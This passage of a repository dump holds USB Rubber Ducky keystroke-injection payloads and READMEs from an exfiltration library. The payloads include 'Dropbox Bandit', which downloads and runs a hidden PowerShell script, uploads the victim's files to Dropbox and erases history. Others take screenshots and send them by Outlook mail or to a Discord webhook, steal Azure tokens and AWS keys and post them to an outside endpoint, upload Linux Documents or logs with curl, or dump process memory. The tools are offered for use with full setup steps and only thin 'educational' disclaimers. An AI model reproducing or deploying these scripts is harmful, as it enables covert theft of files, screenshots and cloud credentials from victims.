\"application/x-www-form-urlencoded\";}).access_token;\nAdd-Type -AssemblyName System.IO.Compression.Filesystem;$d=get-date -f MM-dd-yyyy;$t=get-date -f HH-MM-ss;for($i = 0;$i -le $n;$i++){$z=\"$env:TMP\\$env:USERNAME-$i-$t.zip\";[System.IO.Compression.ZipFile]::CreateFromDirectory(\"$ds\\$i\\\",$z,0,$false);\nInvoke-RestMethod https://content.dropboxapi.com/2/files/upload -Method Post -InFile $z -Headers @{\"Authorization\"=\"Bearer $a\";\"Content-Type\"=\"application/octet-stream\";\"Dropbox-API-Arg\"=\"{`\"path`\":`\"/$(hostname)-$env:USERNAME/$d/$env:USERNAME-$i-$t.zip`\",`\"mode`\":`\"add`\",`\"autorename`\":true,`\"mute`\":false}\";}|Out-Null;}\nrm $ds -Fo -R;for($i = 0;$i -le $n;$i++){rm \"$env:TMP\\$env:USERNAME-$i-$t.zip\" -Fo;}Clear-History;rm \"$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\*\" -Fo;exit;"
  },
  {
    "path": "payloads/library/exfiltration/Dropbox-Bandit/payload.txt",
    "content": "REM Title: Dropbox Bandit\nREM Author: Factor (github.com/Factor101)\nREM Description: Extracts files from a specific location on a target's machine and uploads them to dropbox account\nREM Target: Windows 10/11 (Powershell)\nREM Version: 1.0\nREM Category: Exfiltration\nREM Legal: This script is for educational purposes only. This script is authorized auditing and security analysis purposes only where permitted subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. This author claims no responsibility for unauthorized or unlawful use.\n\nATTACKMODE HID\nREM Inital Delay\nDELAY 500\n\nREM Open CMD\nGUI r\nREM Delay to allow window to open\nDELAY 100\nREM Launch hidden powershell window to execute our script\n\nREM Upload your ex.ps1 payload to pastebin or dropbox (or another website, if you want) and copy the URL here\nREM if you're using dropbox ensure the link ends with ?dl=1 and not ?dl=0\nREM if you're using pastebin ensure you're using the \"raw\" link e.g. http://pastebin.com/raw/<paste_id>\nREM                                                                         --------- replace me! ----------\nSTRINGLN powershell -w h -NoP -NonI -Exec Bypass \"$e=$env:TMP+'\\ex.ps1';iwr https://pastebin.com/raw/<paste_id> -O $e;iex $e;rm $e\"\nDELAY 200\n\nREM Presses CAPSLOCK to indicate that payload is finished and you can remove the Ducky\nCAPSLOCK\nATTACKMODE OFF"
  },
  {
    "path": "payloads/library/exfiltration/Dropbox-Bandit/payload_duckyscript_old.txt",
    "content": "REM Title: Dropbox Bandit\nREM Author: Factor (github.com/Factor101)\nREM Description: Extracts files from a specific location on a target's machine and uploads them to dropbox account\nREM Target: Windows 10/11 (Powershell)\nREM Version: 1.0\nREM Category: Exfiltration\n\nREM Inital Delay\nDELAY 500\n\nREM Open CMD\nGUI r\nREM Delay to allow window to open\nDELAY 100\nREM Launch hidden powershell window to execute our script\n\nREM Upload your ex.ps1 payload to pastebin or dropbox (or another website, if you want) and copy the URL here\nREM if you're using dropbox ensure the link ends with ?dl=1 and not ?dl=0\nREM if you're using pastebin ensure you're using the \"raw\" link e.g. http://pastebin.com/raw/<paste_id>\nREM                                                                        --------- replace me! ----------\nSTRING powershell -w h -NoP -NonI -Exec Bypass \"$e=$env:TMP+'\\ex.ps1';iwr https://pastebin.com/raw/<paste_id> -O $e;iex $e;rm $e\"\nDELAY 200\nENTER\n\nREM Presses CAPSLOCK to indicate that payload is finished and you can remove the Ducky\nCAPSLOCK"
  },
  {
    "path": "payloads/library/exfiltration/Dropbox-Bandit/readme.md",
    "content": "\n# **Dropbox Bandit**\nThis payload is designed to target Windows 10/11 machines, but but may run on older versions of Windows. If you are using an older Rubber Ducky please use the \"payload_duckyscript_old.txt\" file.\n\nThis payload extracts files from a specific location on a target's machine and uploads them in archives to a dropbox account. The actual payload takes about 5 seconds to run (faster on real machines, tested on virtual machine), but the actual exfiltration, which is invisible to the victim once started, can take longer depending on the total size of data to be uploaded. \n\n**Configuration:**\n- Selects a folder (and thereby all subfolders) to extract files from\n- Select filetype(s) or filename(s) to target\n- Dropbox account to use\n\n**Payload Anatomy:**\n- The payload runs a hidden and windowless powershell window which then downloads and executes the powershell script from a url.\n- The powershell script finds all the files that match the chosen parameters and copies them to a directory in %temp%\\cpy\\0\n- Once the amount of files in the temporary directory exceeds 100mb, close to the dropbox upload size limit, the script creates a new subdirectory\n- The script obtains a token from the dropbox api to be used for uploading later, using the refresh_token (see info on how to get this token below)\n- The script archives each of our subdirectories into zip files in %temp%, named like this: `${USERNAME}-${MM-dd-yyyy}-${HH-MM-ss}.zip`\n- The script uploads each zip file to this folder on your dropbox account: `${hostname}-{USERNAME}/${MM-dd-yyyy}/`\n- The script deletes the zip files and temporary directory\n- The script deletes local powershell history and logs\n- Script exits\n\n## **Setup**\n- Create a new Dropbox account\n- [Create a new \"App\"](https://www.dropbox.com/developers/apps/create)\n-- Select \"Scoped Access\"\n-- Select \"Full Dropbox\"\n-- Name it whatever you want\n-- Go the the \"Permissions\" tab and enable \"files.content.write\", and \"files.metadata.write\"\n-- Go to the \"Settings\" tab and copy your \"App key\" and \"App secret\"\n-- Go to the \"Settings\" tab -> OAuth 2 -> Generated Access token and copy the token that you generate. **Important: This token will expire in 4 hours**, so you will only use this one to get your refresh token\n-- Enter this link in your browser: https://www.dropbox.com/oauth2/authorize?client_id=YOUR_APP_KEY_GOES_HERE&token_access_type=offline&response_type=code, but ensure you replace \"YOUR_APP_KEY_GOES_HERE\" with your app key from above\n* Click \"Continue\" and \"Allow\" and then copy the token it gives you. \n* Open a command prompt and type \"curl https://api.dropbox.com/oauth2/token -d code=THE_CODE_YOU_GOT_FROM_THE_LAST_STEP -d grant_type=authorization_code -u YOUR_APP_KEY:YOUR_APP_SECRET\". Hit enter and then copy the \"refresh_token\" from the result. This is your \"refresh_token\"\n- Now that we have all our dropbox information, download the powershell script \"ex.ps1\"\n-- Set $s to the folder you want to exfiltrate data from\n-- Set $fileTypes to the filters for what files you want to grab\n-- Set $r to your refresh token from above\n-- Set $u to your App Key\n-- Set $p to your App Secret\n-- Save the script\n- Select all the code your newly modified powershell script, and upload it to any of these:\n-- Dropbox: Upload the script as a .ps1 file and copy the download link, replacing ?dl=0 at the end with ?dl=1\n-- Pastebin: Upload the text and copy the \"raw\" version of the URL, e.g. [pastebin.com/raw/<script id>]()\n-- [Spectre](https://www.klgrth.io/) (Pastebin alternative), Upload the text and copy the url; make sure your add /raw to the end of your url\n- Enter the url into payload.txt\n- Compile your payload using payloadstudio\n\nThis script is for educational purposes only. This script is authorized auditing and security analysis purposes only where permitted subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. This author claims no responsibility for unauthorized or unlawful use.\n"
  },
  {
    "path": "payloads/library/exfiltration/Ducky_Crab/payload.txt",
    "content": "REM Title: ducky_crab\nREM Author: the-jcksn\nREM Description: Gives \"screen crab\" like capabilities to the USB rubber ducky. Creates a powershell script that captures screenshots and exfiltrates them via outlook, once a minute, even after the USB rubber ducky has been removed.\nREM Target: Windows\nREM Version: 1.0\nREM Category: Exfiltration\n\nREM ~~~~ You must change USER@EXAMPLE.com and USERPASSWORD to your outlook credentials (line 45)\nREM ~~~~ Change the time for the payload to run after ducky is removed (default 10 minutes - line 38)\nREM ~~~~ DO NOT REMOVE THE RUBBER DUCKY UNTIL THE PROMPT APPEARS ON SCREEN SAYING TO DO SO, after this, the payload will run without the ducky inserted\nREM ~~~~ You might have to adjust the delays, depending on the target machine, but these worked ok for me.\nREM ~~~~ Use responsibly, and within the confines of the law.\n\n\nREM opening powershell and allowing scripts\nDELAY 1000\nREM this needs to run first seperate from the script (allows scripts to run on target)\nGUI r\nDELAY 200\nSTRING powershell\nENTER\nDELAY 200\nSTRING Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser\nENTER\nDELAY 200\nREM the following line may cause an error on some systems, this can be ignored, on some systems it is REQUIRED, please do not alter this\nSTRING y\nENTER\nDELAY 400\nREM create the powershell script\nSTRING New-Item -Path 'Pictures' -Name 'screens.ps1' -ItemType file\nENTER\nDELAY 200\nSTRING \"cd C:\\Users\\$env:username\\ `nNew-Item -Path 'C:\\Users\\$env:username\\Pictures\\Screens\\' -ItemType Directory\" | Out-File Pictures\\screens.ps1 -Append\nENTER\nDELAY 200\nREM number of minutes to capture screenshots for - default is 10 (edit the integer to change)\nSTRING \"`$timer = new-timespan -Minutes 10\" | Out-File Pictures\\screens.ps1 -Append\nENTER\nDELAY 200\nSTRING \"`$clock = [diagnostics.stopwatch]::StartNew() `nwhile (`$clock.elapsed -lt `$timer){ `n[void][reflection.assembly]::loadwithpartialname('system.windows.forms') `n`$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen `n`$Width = `$Screen.Width `n`$Height = `$Screen.Height `n`$Left = `$Screen.Left `n`$Top = `$Screen.top `n`$bitmap = New-Object System.Drawing.Bitmap `$Width, `$Height `n`$graphic = [System.Drawing.Graphics]::FromImage(`$bitmap) `n`$graphic.CopyFromScreen(`$Left, `$Top, 0, 0, `$bitmap.Size) `n`$enddate = (Get-Date).tostring('ddMMyy-hh_mm_ss') `n`$filename = `$enddate + '.gif' `n`$bitmap.Save('C:\\Users\\$env:Username\\Pictures\\Screens\\' + `$filename) `nstart-sleep -seconds 10\"  | Out-File Pictures\\screens.ps1 -Append\nENTER\nDELAY 200\nREM change USER@EXAMPLE.COM (3 times) and USERPASSWORD (once) to your credentials below. DO NOT REMOVE ANY QUOTES OR BACKTICKS\nSTRING \"Send-MailMessage -From USER@EXAMPLE.COM -To USER@EXAMPLE.COM -Subject `\"Screenshot loot`\" -Body `\"Please find attached your screenshot update`\" -Attachment `\"Pictures\\Screens\\`$filename`\" -SmtpServer smtp-mail.outlook.com -Port 587 -UseSsl -Credential (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList USER@EXAMPLE.COM, (ConvertTo-SecureString -String `\"USERPASSWORD`\" -AsPlainText -Force))\" | Out-File Pictures\\screens.ps1 -Append\nENTER\nDELAY 200\nSTRING \"start-sleep -seconds 60 `n} `nSet-ExecutionPolicy -ExecutionPolicy Undefined -Scope CurrentUser `nGet-ChildItem Pictures\\Screens -Include *.* -Recurse | ForEach {`$_.Delete()} `nRemove-Item Pictures\\screens -Confirm:`$false `nRemove-Item Pictures\\screens.ps1 -Force `nexit\" | Out-File Pictures\\screens.ps1 -Append\nENTER\nDELAY 200\nSTRING exit\nENTER\nDELAY 300\nREM run the script we created\nGUI r\nDELAY 300\nSTRING powershell -w hidden -File \"%USERPROFILE%\\Pictures\\screens.ps1\"\nENTER\nDELAY 1000\nGUI r\nDELAY 200\nSTRING notepad\nENTER\nDELAY 300\nSTRING You may now remove the rubber ducky and close this window. Loot will arrive shortly.\nENTER\nENTER\nDELAY 500\nSTRING Closing this window automatically in:\nENTER\nSTRING 3...\nENTER\nDELAY 600\nSTRING 2...\nDELAY 600\nALT F4\nSTRING n\n"
  },
  {
    "path": "payloads/library/exfiltration/Dump_Windows_Memory_Through_ProcDump/README.md",
    "content": "# Dump Windows Memory Through ProcDump\n\nThis payload allows you to dump the RAM memory used by a running application by using the free software ProcDump.\n\n**Category**: Exfiltration\n\n## Table of Contents\n\n- [Dependencies](#dependencies)\n- [Description](#description)\n- [Yours TODO](#yours-todo)\n- [Read More](#read-more)\n- [Credits](#credits)\n\n## Dependencies\n\n* Authorization to execute powershell commands\n\n## Description\n\nThis payload targets machines running Windows operating systems capable of executing commands via PowerShell.\n\nIts first action is to use the Rubber Ducky DETECT_READY\\[3] extension to avoid unnecessary waiting times before the operating system is ready.\n\nOnce the OS is active, the payload opens a PowerShell shell without administrator privileges and identifies the name assigned to the Rubber Ducky by combining Windows' Get-Volume and DriveLetter commands.\n\nSubsequently, to avoid requests for administrative permissions during the memory dumping operation with ProcDump, the payload directly moves to the Rubber Ducky, where it executes ProcDump, allowing the output to be stored directly on the USB drive without the need for additional permissions.\n\nTo avoid potential complications related to exception handling during the execution of ProcDump, the payload uses the PID number instead of the process name.\n\nTo obtain all active process PIDs the tasklist command is used, which provides this information comprehensively.\n\n## Yours TODO\n\n1. Download ProcDump\\[5].\n2. Move the extracted ProcDump folder or directly the executable, as you prefer, inside Rubber Ducky's memory.\n3. Then you have to change the variable `#WHAT_EXE_DO_YOU_WANT_TO_USE` if you want to use an executable other than `procdump64a.exe`, i.e. `procdump.exe` and, in this case, you have to change the variable to `procdump`.\n4. When you put the executable(s) inside the Rubber Ducky memory you must indicate the path where is stored, i.e. if the executable is inside the path `F:\\ProcDump\\Procdump\\procdump.exe` you must change the variable `#PATH_TO_EXE` into `\\ProcDump\\Procdump\\` mean while if it is inside the path `F:\\somethingelse\\procdump.exe` you must change this variable into `\\somethingelse\\`.\n\n## Read More\n\n- \\[1] [ProcDump Documentation](https://learn.microsoft.com/en-us/sysinternals/downloads/procdump)\n- \\[2] [How to collect memory dumps using ProcDump](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB0253710)\n- \\[3] [DETECT READY - SMARTER INITIAL DELAYS FOR KEYSTROKE INJECTION ATTACKS WITH THE USB RUBBER DUCKY](https://shop.hak5.org/blogs/usb-rubber-ducky/detect-ready)\n- \\[4] [Physical Medium Exfiltration](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration)\n- \\[5] [Download ProcDump for Windows target](https://download.sysinternals.com/files/Procdump.zip)\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/exfiltration/Dump_Windows_Memory_Through_ProcDump/payload.txt",
    "content": "REM ########################################################\nREM #                                                      #\nREM # Title        : Dump Windows Memory Through ProcDump  #\nREM # Author       : Aleff                                 #\nREM # Version      : 1.0                                   #\nREM # Category     : Exfiltration                          #\nREM # Target       : Windows                               #\nREM #                                                      #\nREM ########################################################\n\n\nREM Requirements:\nREM     - Authorization to execute powershell commands\n\n\nREM You must change it to 'procdump' if you want to use procdump.exe instead of procdump64a.exe\nDEFINE #WHAT_EXE_DO_YOU_WANT_TO_USE procdump64a\n\nREM Path to the EXE file stored in the usb, i.e. if 'F:\\ProcDump\\Procdump\\procdump.exe' you must use '\\ProcDump\\Procdump\\'\nDEFINE #PATH_TO_EXE \\ProcDump\\Procdump\\\n\nREM Driver Label of your RubberDucky - Default: DUCKY\nDEFINE #DUCKY_DRIVE_LABEL DUCKY\n\nEXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n\n        TARGETS:\n            Any system that reflects CAPSLOCK will detect minimum required delay\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\nGUI r\nDELAY 2000\n\nSTRING powershell\nENTER\nDELAY 2000\n\nSTRINGLN_POWERSHELL\n    $m=(Get-Volume -FileSystemLabel '#DUCKY_DRIVE_LABEL').DriveLetter;\n    $m+=\":\";\n    cd \"$m\\\\\";\n    $a=tasklist /FI \"Status eq Running\" /FO LIST;\n    foreach ($i in $a){\n        if ( $i -like '*PID*'){\n            $i -match 'PID.\\s+(.+)';\n            \".#PATH_TO_EXE#WHAT_EXE_DO_YOU_WANT_TO_USE.exe\" -ma $matches[1];\n        }\n    }\n    exit;\nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/exfiltration/Exfiltrate Computer Screenshots/README.md",
    "content": "# Exfiltrate Computer Screenshots\n\nA script used to prank your friends exfiltrating some screenshots.\n\n**Category**: Exfiltration\n\n## Description\n\nA script used to prank your friends exfiltrating some screenshots.\n\nOpen a PowerShell, download the Python script and execute it. The Python script will make some screenshot that will be sent, through the discord webhook, to you.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* Discord Webhook (or whatever you want for the exfiltration)\n* ExecutionPolicy Bypass\n* Python\n\n### Executing program\n\n* Plug in your device\n\n### Settings\n\n- Setup your Python script link in the payload.txt file\n- Setup your Discord webhook link in the script.py file\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/exfiltration/Exfiltrate Computer Screenshots/payload.txt",
    "content": "REM ###################################################\nREM #                                                 |\nREM # Title        : Exfiltrate Computer Screenshots  |\nREM # Author       : Aleff                            |\nREM # Version      : 1.0                              |\nREM # Category     : Exfiltrate                       |\nREM # Target       : Windows 10-11                    |\nREM #                                                 |\nREM ###################################################\n\n\nREM Requirements:\nREM     - Internet Connection\nREM     - Discord Webhook (or whatever you want for the exfiltration)\nREM     - ExecutionPolicy Bypass\nREM     - Python\n\n\nREM REQUIRED - Set your Python script link\nDEFINE SCRIPT-PY-LINK example.com\n\n\nDELAY 1000\nGUI r\nDELAY 1000\nSTRING powershell\nENTER\nDELAY 2000\n\n\nSTRING Invoke-WebRequest -Uri \"\nSTRING SCRIPT-PY-LINK\nSTRING \" -OutFile \"script.py\"\nENTER\nDELAY 2000\n\nSTRINGLN Start-Process python.exe -ArgumentList \"script.py\" -WindowStyle Hidden\nDELAY 1000\nALT F4\n"
  },
  {
    "path": "payloads/library/exfiltration/Exfiltrate Computer Screenshots/script.py",
    "content": "import pyautogui\nfrom time import sleep\nimport requests\n\n\n# YOUR DISCORD WEBHOOK\ndiscord_webhook = \"https://discord.com/api/webhooks/123456789/xxxxxxxxxx\"\n\n# Edit this variables as you want\nSCREENSHOTS = 10\nTIMING = 5\n\nfor i in range(SCREENSHOTS):\n    sleep(TIMING)\n\n    # take the screenshot\n    screenshot = pyautogui.screenshot()\n    screenshot.save(\"screenshot.png\")\n\n    with open(\"screenshot.png\", \"rb\") as f:\n        foto = f.read()\n\n    richiesta = {\n        \"username\": \"ExfiltrateComputerScreenshot\"\n    }\n\n    # Send the message by attaching the photo\n    response = requests.post(discord_webhook, data=richiesta, files={\"Screen#\"+str(i)+\".png\": foto})\n\n    # Useful for debugging\n    # if response.status_code == 200:\n    #     print(\"Photo successfully sent!\")\n    # else:\n    #     print(\"Error while submitting photo.\" + str(response.status_code))"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateCloudCreds/README.md",
    "content": " \n# Exfiltrate Cloud Credentials (Azure/AWS)\n\nExfils Azure access token and AWS keys using respective CLI.\n\n**Category**: Exfiltration\n\n## Description\n\nOpens PowerShell and retrieves Azure and AWS access tokens/keys and exfils them to an HTTP endpoint. Gathers keys from .aws/credentials file first, then if it doesn't exist it will pull from environment variables. Uses Azure CLI to get access token as they are now encrypted on disk.\n\n## Getting Started\n\n### Dependencies\n\n* Internet connection\n* Windows system\n* Azure CLI and/or AWS CLI\n  * Need to be authenticated to Azure and have credentials stored for AWS\n* HTTP endpoint that can accept post requests such as [Pipedream](https://pipedream.com/)\n\n### Executing program\n\n* Encode the ducky script\n* Copy inject.bin onto your SD card\n* Insert into target machine\n* Monitor incoming post requests to your endpoint. Data is base64 encoded for obfuscation so it will need to be decoded.\n\n### Settings\n\n* Set the endpoint URL\n* Remove Azure/AWS sections if you have no need for either\n\n"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateCloudCreds/payload.txt",
    "content": "REM Title: Exfil Cloud Credentials\nREM Author: github.com/jasonotu\nREM Description: Exfils Azure access token and AWS keys using respective CLI\nREM Target: Windows\nREM Version: 1.0\nREM Category: Exfiltration\nDEFAULTDELAY 10\n\nDEFINE #ENDPOINT https://xxxxxxxxxxxxxxxx.m.pipedream.net\n\nDELAY 1000\nREM Open Run dialog\nGUI r\nDELAY 500\nREM Type \"powershell\" to open PowerShell\nSTRING powershell\nENTER\nDELAY 1000\n\nREM Get access token from authenticated Azure CLI\nSTRING $userProfile = [System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::UserProfile)\nENTER\nSTRING $token = az account get-access-token\nENTER\nSTRING ($az_encoded = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($token)))\nENTER\nDELAY 3000\n\nREM Get AWS keys\nSTRING $creds = $userProfile + \"\\.aws\\credentials\"\nENTER\nSTRING echo $creds\nENTER\nSTRING $keys = if (Test-Path -Path $creds -PathType Leaf) {Get-Content -Path $creds} else\nENTER \nSTRING {echo \"AWS_ACCESS_KEY_ID = ${env:AWS_ACCESS_KEY_ID} AWS_SECRET_ACCESS_KEY = ${env:AWS_SECRET_ACCESS_KEY}\"}\nENTER\nSTRING $aws_encoded = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($keys))\nENTER\n\nREM Got the loot, exfil\nSTRING $endpoint = ''\nENTER\nSTRING $loot = '{\"\"az\"\":\"\"' + $az_encoded + '\"\",\"\"aws\"\":\"\"' + $aws_encoded + '\"\"}'\nENTER\nDELAY 500\nREM Send the HTTP request\nSTRING $response = Invoke-RestMethod -Uri #ENDPOINT -Method Post -ContentType 'application/json' -Body $loot\nENTER\nDELAY 1000\nREM Display the response\nSTRING $response\nENTER\nDELAY 1000\nREM Exit PowerShell\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateLinuxContentWithDropbox/README.md",
    "content": "# Exfiltrate Linux Content With Dropbox - BADUSB ✅\n\nA script used to take folder content on Linux Systems.\n\n**Category**: Exfiltration, Execution\n\n[![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Faleff-github%2Fmy-flipper-shits&count_bg=%233C3C3C&title_bg=%233C3C3C&icon=linux.svg&icon_color=%23FFFFFF&title=views&edge_flat=false)](https://github.com/aleff-github/my-flipper-shits)\n\n## Description\n\nA script used to take folder content on Linux Systems.\n\nOpens a shel, zip all zippable (R permission) content of the folder, send the zip into the dropbox folder, delete shell history.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* Linux System\n* * Terminal that can be opened by the shortcommand CTRL-ALT t\n* DropBox Account for the access token\n\n### Executing program\n\n* Plug in your device\n\n### Settings\n\n* Set your dropbox access token\n* Set the folder path interessed (i.e. /Documents)\n* Change (if you think that it is necessary) the delay of the zipping operation\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateLinuxContentWithDropbox/payload.txt",
    "content": "REM ##########################################################\nREM #                                                        |\nREM # Title        : Exfiltrate Linux Content With Dropbox   |\nREM # Author       : Aleff                                   |\nREM # Version      : 1.0                                     |\nREM # Category     : Exfiltration, Execution                 |\nREM # Target       : Linux                                   |\nREM #                                                        |\nREM ##########################################################\n\nREM Requirements:\nREM     - Internet Connection\nREM     - Dropbox Account\nREM     - - DROPBOX_ACCESS_TOKEN\n\n\nDELAY 1000\nCTRL-ALT t\n\nDELAY 2000\nREM Required: Set here your Dropbox access TOKEN\nDEFINE TOKEN example\nSTRING ACCESS_TOKEN=\"\nSTRING TOKEN\nSTRING \"\nENTER\n\nDELAY 500\nSTRING USER_NAME=$(whoami)\nENTER\n\nDELAY 500\nSTRING path=\"/home/$USER_NAME/Documents\"\nENTER\n\nDELAY 500\nSTRING RANDOM=$(shuf -i 1-999999999999 -n 1)\nENTER\n\nDELAY 500\nSTRING NAME=\"$RANDOM.zip\"\nENTER\n\nDELAY 500\nSTRING ZIP_PATH=\"$path/$NAME\"\nENTER\n\nDELAY 500\nREM The FOLDER that you want to zip, in this example you want to zip all Documents content\nSTRING FOLDER=\"/home/$USER_NAME/Documents/\"\nENTER\n\nREM Delay for zipping operation, it depends by computer power and folder directory\nDELAY 10000\n\nDELAY 500\nSTRING if [ -r \"$FOLDER\" ]; then\nENTER\nSTRING zip -r \"$ZIP_PATH\" \"$FOLDER\" > /dev/null 2>&1\nENTER\nSTRING else\nENTER\nSTRING echo   \"\"\nENTER\nSTRING fi\nENTER\n\nDELAY 500\nSTRING DROPBOX_FOLDER=\"/$NAME\"\nENTER\n\n\nDELAY 500\nDEFINE DROPBOX_API_CONST https://content.dropboxapi.com/2/files/upload\nSTRING curl -X POST\nSTRING DROPBOX_API_CONST\nSTRING --header \"Authorization: Bearer $ACCESS_TOKEN\" --header \"Dropbox-API-Arg: {\\\"path\\\": \\\"$DROPBOX_FOLDER\\\",\\\"mode\\\": \\\"add\\\",\\\"autorename\\\": true,\\\"mute\\\": false}\" --header \"Content-Type: application/octet-stream\" --data-binary \"@$ZIP_PATH\"\nENTER\n\nDELAY 2000\nSTRING history -c\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateLinuxLogFiles/README.md",
    "content": " \n# Exfiltrate Linux Log Files - BADUSB ✅\n\nA script used to take linux logs.\n\n**Category**: Exfiltration, Execution\n\n[![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Faleff-github%2Fmy-flipper-shits&count_bg=%233C3C3C&title_bg=%233C3C3C&icon=linux.svg&icon_color=%23FFFFFF&title=views&edge_flat=false)](https://github.com/aleff-github/my-flipper-shits)\n\n## Description\n\nA script used to take linux logs.\n\nOpens a shel, zip all zippable (R permission) content of the log folder, send the zip into the dropbox folder, delete tmp folder.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* Linux System\n* * Terminal that can be opened by the shortcommand CTRL-ALT t\n* DropBox Account for the access token\n\n### Executing program\n\n* Plug in your device\n\n### Settings\n\n* Set your dropbox access token\n* Change if needed the folder path interessed (i.e. /var/log)\n* Change (if you think that it is necessary) the delay of the zipping operation\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateLinuxLogFiles/payload.txt",
    "content": "REM ######################################################\nREM #                                                    |\nREM # Title        : Exfiltrate Linux Logs With Dropbox  |\nREM # Author       : Aleff                               |\nREM # Version      : 1.0                                 |\nREM # Category     : Exfiltration, Execution             |\nREM # Target       : Linux                               |\nREM #                                                    |\nREM ######################################################\n\nREM Requirements:\nREM     - Internet Connection\nREM     - Dropbox Account\nREM     - - DROPBOX_ACCESS_TOKEN\n\n\nDELAY 1000\nCTRL-ALT t\n\nREM Required: Set here your Dropbox access TOKEN\nDELAY 2000\nDEFINE TOKEN example\nSTRING ACCESS_TOKEN=\"\nSTRING TOKEN\nSTRING \"\nENTER\n\n\nDELAY 500\nSTRING USER_NAME=$(whoami)\nENTER\n\nREM Create random num\nDELAY 500\nSTRING RANDOM=$(shuf -i 1-999999999999 -n 1)\nENTER\n\nREM Folder path\nDELAY 500\nSTRING TMP_FOLDER_PATH=$(mktemp -d -p \"/home/$USER_NAME/tmp/\" prefix-XXXXXXXXXX)\nENTER\n\nREM Zip path\nDELAY 500\nSTRING ZIP_NAME=\"$RANDOM.zip\"\nENTER\nDELAY 500\nSTRING ZIP_PATH=\"$TMP_FOLDER_PATH/$ZIP_NAME\"\nENTER\n\nREM Default log path\nDELAY 500\nSTRING LOG_PATH=\"/var/log/\"\nENTER\n\nDELAY 500\nSTRING zip -r \"$ZIP_PATH\" \"$LOG_PATH\"\nENTER\n\nREM Delay of zipping operation - it depends\nDELAY 10000\n\nDELAY 500\nSTRING DROPBOX_FOLDER=\"/$ZIP_NAME\"\nENTER\n\nREM Send to Dropbox function\nDEFINE DROPBOX_API_LINK 